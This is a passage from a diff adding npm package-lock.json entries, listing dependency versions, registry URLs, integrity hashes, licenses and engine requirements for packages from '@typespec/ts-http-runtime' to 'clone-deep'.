"https://registry.npmjs.org/@typespec/ts-http-runtime/-/ts-http-runtime-0.3.9.tgz", + "integrity": "sha512-edSdeAqkdxBVzA1yL1LrLCml1YjyCVvPMtMqJpbF+6K609tHe8V6sQUzFQSGcYNhcuhOceZtjvN32+mpIth30A==", + "license": "MIT", + "optional": true, + "dependencies": { + "http-proxy-agent": "^7.0.0", + "https-proxy-agent": "^7.0.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/@vercel/oidc": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/@vercel/oidc/-/oidc-3.2.0.tgz", + "integrity": "sha512-UycprH3T6n3jH0k44NHMa7pnFHGu/N05MjojYr+Mc6I7obkoLIJujSWwin1pCvdy/eOxrI/l3uDLQsmcrOb4ug==", + "license": "Apache-2.0", + "engines": { + "node": ">= 20" + } + }, + "node_modules/a-sync-waterfall": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/a-sync-waterfall/-/a-sync-waterfall-1.0.1.tgz", + "integrity": "sha512-RYTOHHdWipFUliRFMCS4X2Yn2X8M87V/OpSqWzKKOGhzqyUxzyVmhHDH9sAvG+ZuQf/TAOFsLCpMw09I1ufUnA==", + "license": "MIT" + }, + "node_modules/accepts": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz", + "integrity": "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng==", + "license": "MIT", + "dependencies": { + "mime-types": "^3.0.0", + "negotiator": "^1.0.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/accepts/node_modules/content-type": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz", + "integrity": "sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/accepts/node_modules/negotiator": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.1.0.tgz", + "integrity": "sha512-NMPBRMJgiQHjbd8phG3Vebdx4kZ1H121rbl5IkMqeOsahptB9BKo/d7oJ3zTXqTgagn2bWlNSXkh0QUGM31RYg==", + "license": "MIT", + "dependencies": { + "content-type": "^2.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/adm-zip": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/adm-zip/-/adm-zip-0.6.1.tgz", + "integrity": "sha512-Xwrja8nx9e5o2N1my4DsKCeKpdrnACyr1wtbPxBDgGzKzKyE9kRtBFA8mWldI+RVlD7CBZNWY/wQ2+ydwOR6kQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=14.0" + } + }, + "node_modules/afinn-165": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/afinn-165/-/afinn-165-2.0.2.tgz", + "integrity": "sha512-mJ/RLUfpXfQA6bzugv+bBsc/QYkVrKaLYeS8fWBpKbTCsonv4iuV9ET0fgReEunm9vKLkaNgnekuSNlTC3WQ1Q==", + "license": "MIT", + "optional": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/afinn-165-financialmarketnews": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/afinn-165-financialmarketnews/-/afinn-165-financialmarketnews-3.0.0.tgz", + "integrity": "sha512-0g9A1S3ZomFIGDTzZ0t6xmv4AuokBvBmpes8htiyHpH7N4xDmvSQL6UxL/Zcs2ypRb3VwgCscaD8Q3zEawKYhw==", + "license": "MIT", + "optional": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/agent-base": { + "version": "7.1.4", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", + "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", + "license": "MIT", + "engines": { + "node": ">= 14" + } + }, + "node_modules/ai": { + "version": "6.0.293", + "resolved": "https://registry.npmjs.org/ai/-/ai-6.0.293.tgz", + "integrity": "sha512-bYoyFLCUu6b25bIQf+d4lRCLq4URel/9rMAYL3jFNdsmuE70KD4iBckj6KR/BqolbeGwJv/aTj/9uLsogOdNKQ==", + "license": "Apache-2.0", + "dependencies": { + "@ai-sdk/gateway": "3.0.203", + "@ai-sdk/provider": "3.0.18", + "@ai-sdk/provider-utils": "4.0.55", + "@opentelemetry/api": "^1.9.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "zod": "^3.25.76 || ^4.1.8" + } + }, + "node_modules/ajv": { + "version": "8.20.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", + "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-formats": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-3.0.1.tgz", + "integrity": "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ==", + "license": "MIT", + "dependencies": { + "ajv": "^8.0.0" + }, + "peerDependencies": { + "ajv": "^8.0.0" + }, + "peerDependenciesMeta": { + "ajv": { + "optional": true + } + } + }, + "node_modules/ansi-escapes": { + "version": "7.3.0", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-7.3.0.tgz", + "integrity": "sha512-BvU8nYgGQBxcmMuEeUEmNTvrMVjJNSH7RgW24vXexN4Ven6qCvy4TntnvlnwnMLTVlcRQQdbRY8NKnaIoeWDNg==", + "license": "MIT", + "optional": true, + "dependencies": { + "environment": "^1.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/anynum": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/anynum/-/anynum-1.0.1.tgz", + "integrity": "sha512-N6//FLET/tXYNM/F6ABca1oH6fWB+KlTt909Le28WMDBk8oaT4vY17DCrwg2MvmuqUKt3Ni4N5dGJ/EoBgcO6A==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT" + }, + "node_modules/apache-arrow": { + "version": "21.2.0", + "resolved": "https://registry.npmjs.org/apache-arrow/-/apache-arrow-21.2.0.tgz", + "integrity": "sha512-Hxe6Agq26gQOM954qpzYSllJBPJl+e16U5CkfuMUhLrNba+5nKkttIVlflaovN6oaTratqMGAO8H5u/aNhmHWQ==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@types/node": "^25.2.0", + "flatbuffers": "^25.1.24", + "json-with-bigint": "^3.5.3", + "tslib": "^2.6.2" + }, + "bin": { + "arrow2csv": "bin/arrow2csv.js" + } + }, + "node_modules/apache-arrow/node_modules/@types/node": { + "version": "25.9.8", + "resolved": "https://registry.npmjs.org/@types/node/-/node-25.9.8.tgz", + "integrity": "sha512-VfMrScDmMhUJQmd5hArdQnFvK0OIeD36uN2Va1FcpYaLB/BgkgM8Ulc50XtYISPMz7APJ30+N0T5EM0jlcdfRw==", + "license": "MIT", + "optional": true, + "dependencies": { + "undici-types": ">=7.24.0 <7.24.7" + } + }, + "node_modules/apache-arrow/node_modules/undici-types": { + "version": "7.24.6", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.24.6.tgz", + "integrity": "sha512-WRNW+sJgj5OBN4/0JpHFqtqzhpbnV0GuB+OozA9gCL7a993SmU+1JBZCzLNxYsbMfIeDL+lTsphD5jN5N+n0zg==", + "license": "MIT", + "optional": true + }, + "node_modules/apparatus": { + "version": "0.0.10", + "resolved": "https://registry.npmjs.org/apparatus/-/apparatus-0.0.10.tgz", + "integrity": "sha512-KLy/ugo33KZA7nugtQ7O0E1c8kQ52N3IvD/XgIh4w/Nr28ypfkwDfA67F1ev4N1m5D+BOk1+b2dEJDfpj/VvZg==", + "license": "MIT", + "optional": true, + "dependencies": { + "sylvester": ">= 0.0.8" + }, + "engines": { + "node": ">=0.2.6" + } + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "license": "Python-2.0" + }, + "node_modules/arr-union": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz", + "integrity": "sha512-sKpyeERZ02v1FeCZT8lrfJq5u6goHCtpTAzPwJYe7c8SPFOboNjNg1vz2L4VTn9T4PQxEx13TbXLmYUcS6Ug7Q==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/asap": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", + "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==", + "license": "MIT" + }, + "node_modules/asn1": { + "version": "0.2.6", + "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.6.tgz", + "integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "safer-buffer": "~2.1.0" + } + }, + "node_modules/ast-types": { + "version": "0.13.4", + "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.13.4.tgz", + "integrity": "sha512-x1FCFnFifvYDDzTaLII71vG5uvDwgtmDTEVWAxrgeiR8VjMONcCXJx7E+USjDtHlwFmt9MysbqgF9b9Vjr6w+w==", + "license": "MIT", + "dependencies": { + "tslib": "^2.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/async": { + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz", + "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==", + "license": "MIT" + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT", + "optional": true + }, + "node_modules/auto-bind": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/auto-bind/-/auto-bind-5.0.1.tgz", + "integrity": "sha512-ooviqdwwgfIfNmDwo94wlshcdzfO64XV0Cg6oDsDYBJfITDz1EngD2z7DkbvCWn+XIMsIqW27sEVF6qcpJrRcg==", + "license": "MIT", + "optional": true, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/axios": { + "version": "1.20.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.20.0.tgz", + "integrity": "sha512-r8aOh8j9cGKpgQAqpzrUHnSIc6a59Y3Xf/cv8sy1DrHCkZHzQGEuoq1tARk6qSyDdtQGSDgpb9kFlruzPvrgwg==", + "license": "MIT", + "optional": true, + "dependencies": { + "follow-redirects": "^1.16.0", + "form-data": "^4.0.6", + "https-proxy-agent": "^5.0.1", + "proxy-from-env": "^2.1.0" + } + }, + "node_modules/axios/node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/axios/node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "license": "MIT", + "optional": true, + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/balanced-match": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", + "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", + "license": "MIT", + "engines": { + "node": "18 || 20 || >=22" + } + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "optional": true + }, + "node_modules/basic-ftp": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/basic-ftp/-/basic-ftp-6.2.1.tgz", + "integrity": "sha512-bK67isD+lKq46AU8vNtjvMaT2ZqAOAmNCbxUHlFBRD4k15NWxyEjmaKtZPlgce58So4BNTjITGQOVTjL9y0ECA==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/before-after-hook": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/before-after-hook/-/before-after-hook-4.0.0.tgz", + "integrity": "sha512-q6tR3RPqIB1pMiTRMFcZwuG5T8vwp+vUvEG0vuI6B+Rikh5BfPp2fQ82c925FOs+b0lcFQ8CFrL+KbilfZFhOQ==", + "license": "Apache-2.0", + "optional": true + }, + "node_modules/big-integer": { + "version": "1.6.52", + "resolved": "https://registry.npmjs.org/big-integer/-/big-integer-1.6.52.tgz", + "integrity": "sha512-QxD8cf2eVqJOOz63z6JIN9BzvVs/dlySa5HGSBH5xtR8dPteIRQnBxxKqkNTiT6jbDTF6jAfrd4oMcND9RGbQg==", + "license": "Unlicense", + "optional": true, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/bignumber.js": { + "version": "9.3.1", + "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.3.1.tgz", + "integrity": "sha512-Ko0uX15oIUS7wJ3Rb30Fs6SkVbLmPBAKdlm7q9+ak9bbIeFf0MwuBsQV6z7+X768/cHsfg+WlysDWJcmthjsjQ==", + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/binary-extensions": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-3.2.0.tgz", + "integrity": "sha512-DjR9rgAOMQn9TrUHzijJUtvoKviDRvFxuIyqZrubxHqRpQN9OzfXrrLivm7xb3q8oJSKsiuBor4bAS2wafLnVQ==", + "license": "MIT", + "engines": { + "node": ">=18.20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/binaryextensions": { + "version": "6.11.0", + "resolved": "https://registry.npmjs.org/binaryextensions/-/binaryextensions-6.11.0.tgz", + "integrity": "sha512-sXnYK/Ij80TO3lcqZVV2YgfKN5QjUWIRk/XSm2J/4bd/lPko3lvk0O4ZppH6m+6hB2/GTu+ptNwVFe1xh+QLQw==", + "license": "Artistic-2.0", + "dependencies": { + "editions": "^6.21.0" + }, + "engines": { + "node": ">=4" + }, + "funding": { + "url": "https://bevry.me/fund" + } + }, + "node_modules/body-parser": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.3.0.tgz", + "integrity": "sha512-2cGmJupaNgg+QUwVLAucDuWuoMZ6EX9iHDRswZ5lsNYEmwPaRknMPCLZz07yTzVq/83p4o/wzbDZbBrTvGGTIw==", + "license": "MIT", + "dependencies": { + "bytes": "^3.1.2", + "content-type": "^2.0.0", + "debug": "^4.4.3", + "http-errors": "^2.0.1", + "iconv-lite": "^0.7.2", + "on-finished": "^2.4.1", + "qs": "^6.15.2", + "raw-body": "^3.0.2", + "type-is": "^2.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/body-parser/node_modules/content-type": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz", + "integrity": "sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/bowser": { + "version": "2.14.1", + "resolved": "https://registry.npmjs.org/bowser/-/bowser-2.14.1.tgz", + "integrity": "sha512-tzPjzCxygAKWFOJP011oxFHs57HzIhOEracIgAePE4pqB3LikALKnSzUyU4MGs9/iCEUuHlAJTjTc5M+u7YEGg==", + "license": "MIT", + "optional": true + }, + "node_modules/brace-expansion": { + "version": "5.0.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.12.tgz", + "integrity": "sha512-YovQ3rzhaLMIrDjNDMkNS01tea93qhEhG5xy8f6+R0l+dw3Ki+5sCoIoI942iuLZTHWogWktgwVDhU09iNEimQ==", + "license": "MIT", + "dependencies": { + "balanced-match": "^4.0.2" + }, + "engines": { + "node": "20 || >=22" + } + }, + "node_modules/bson": { + "version": "7.3.3", + "resolved": "https://registry.npmjs.org/bson/-/bson-7.3.3.tgz", + "integrity": "sha512-oz3LwE3qGEhTCSyhzQRLY3Bj1NLOsjFMf6tcmY5J8M+3R7EVcmoBfSHWvjUK3yXCLDUsGpIuB3aQL4nDZ1EV/g==", + "license": "Apache-2.0", + "optional": true, + "engines": { + "node": ">=20.19.0" + } + }, + "node_modules/buffer-equal-constant-time": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz", + "integrity": "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==", + "license": "BSD-3-Clause", + "optional": true + }, + "node_modules/bundle-name": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/bundle-name/-/bundle-name-4.1.1.tgz", + "integrity": "sha512-DdH81/zPLVS11EUgWq3tEu/xn+EzljlMYooDNdzWEnFha3R3NBMpMV1UqYIpjYHV/SgpFKMIX1Oh7o06SjM/oA==", + "license": "MIT", + "optional": true, + "dependencies": { + "run-applescript": "^7.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/cache-manager": { + "version": "7.2.9", + "resolved": "https://registry.npmjs.org/cache-manager/-/cache-manager-7.2.9.tgz", + "integrity": "sha512-d4vceEyYe95gPxEyQchlEOH9vJlkNRW8G6gzFzzMTxJK9PahYMhC9chrEqgZN0HulROjgw3IzmWVNk7Q7ytiGw==", + "license": "MIT", + "dependencies": { + "@cacheable/utils": "^2.5.0", + "keyv": "^5.6.0" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/call-bound": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", + "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "get-intrinsic": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/camelcase": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/chalk": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-6.0.1.tgz", + "integrity": "sha512-/Ce6KNm3vIbWdMlNna6RVIZ/ICQxnJxCicet5LBKK9ZffBkqzDw0xh9EiKSljdRtiIQ1S1z4YgcscUUGzNCWrA==", + "license": "MIT", + "engines": { + "node": ">=22" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/chardet": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/chardet/-/chardet-2.2.0.tgz", + "integrity": "sha512-rddelWYNPRrXq6PtNEN2S3f6t9ILzvqaN5pVgi4kqt9jHQaXIial9PznB5iSPVlQSLNaaH22ItWz3EJtQ10+OA==", + "license": "MIT" + }, + "node_modules/charenc": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/charenc/-/charenc-0.0.2.tgz", + "integrity": "sha512-yrLQ/yVUFXkzg7EDQsPieE/53+0RlaWTs+wBrvW36cyilJ2SaDWfl4Yj7MtLTXleV9uEKefbAGUPv2/iWSooRA==", + "license": "BSD-3-Clause", + "optional": true, + "engines": { + "node": "*" + } + }, + "node_modules/cli-boxes": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-4.0.1.tgz", + "integrity": "sha512-5IOn+jcCEHEraYolBPs/sT4BxYCe2nHg374OPiItB1O96KZFseS2gthU4twyYzeDcFew4DaUM/xwc5BQf08JJw==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=18.20 <19 || >=20.10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cli-cursor": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-4.0.0.tgz", + "integrity": "sha512-VGtlMu3x/4DOtIUwEkRezxUZ2lBacNJCHash0N0WeZDBS+7Ux1dm3XWAgWYxLJFMMdOeXMHXorshEFhbMSGelg==", + "license": "MIT", + "optional": true, + "dependencies": { + "restore-cursor": "^4.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cli-progress": { + "version": "3.12.0", + "resolved": "https://registry.npmjs.org/cli-progress/-/cli-progress-3.12.0.tgz", + "integrity": "sha512-tRkV3HJ1ASwm19THiiLIXLO7Im7wlTuKnvkYaTkyoAPefqjNg7W7DHKUlGRxy9vxDvbyCYQkQozvptuMkGCg8A==", + "license": "MIT", + "dependencies": { + "string-width": "^4.2.3" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cli-spinners": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-3.4.0.tgz", + "integrity": "sha512-bXfOC4QcT1tKXGorxL3wbJm6XJPDqEnij2gQ2m7ESQuE+/z9YFIWnl/5RpTiKWbMq3EVKR4fRLJGn6DVfu0mpw==", + "license": "MIT", + "engines": { + "node": ">=18.20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cli-table3": { + "version": "0.6.5", + "resolved": "https://registry.npmjs.org/cli-table3/-/cli-table3-0.6.5.tgz", + "integrity": "sha512-+W/5efTR7y5HRD7gACw9yQjqMVvEMLBHmboM/kPWam+H+Hmyrgjh6YncVKK122YZkXrLudzTuAukUw9FnMf7IQ==", + "license": "MIT", + "dependencies": { + "string-width": "^4.2.0" + }, + "engines": { + "node": "10.* || >= 12.*" + }, + "optionalDependencies": { + "@colors/colors": "1.5.0" + } + }, + "node_modules/cli-truncate": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/cli-truncate/-/cli-truncate-6.1.1.tgz", + "integrity": "sha512-06p9vyLahLa4zkGcgsGxU6iEkSOiuI4fhCH6Emhe2lPAcoUv73n72DnODsnHA+5wwXGnV0n9M9/qOQJSjYhFhw==", + "license": "MIT", + "optional": true, + "dependencies": { + "slice-ansi": "^9.0.0", + "string-width": "^8.2.0" + }, + "engines": { + "node": ">=22" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cli-truncate/node_modules/ansi-regex": { + "version": "6.4.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.4.0.tgz", + "integrity": "sha512-KzTVk2tCWAHtYrvvvaP8bJKJq2pVinhLcGEQdtLIYPbmNGNyYe8QwNaTUYQp2J7/vIsUKt5QCqAfUkYyG9DkOw==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/cli-truncate/node_modules/string-width": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-8.3.0.tgz", + "integrity": "sha512-ZbmZM0JCihQN91dWnxoipT2KOEyHqEyfRXUyjuRhW8b/xnqPDoq4gWEVApTVa9db2wN8mmoikgFBbjh71+cGeQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "get-east-asian-width": "^1.5.0", + "strip-ansi": "^7.1.2" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cli-truncate/node_modules/strip-ansi": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", + "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", + "license": "MIT", + "optional": true, + "dependencies": { + "ansi-regex": "^6.2.2" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/cli-width": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-4.1.0.tgz", + "integrity": "sha512-ouuZd4/dm2Sw5Gmqy6bGyNNNe1qt9RpmxveLSO7KcgsTnU7RXfsw+/bukWGo1abgBiMAic068rclZsO4IWmmxQ==", + "license": "ISC", + "engines": { + "node": ">= 12" + } + }, + "node_modules/clone-deep": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-0.2.4.tgz", + "integrity": 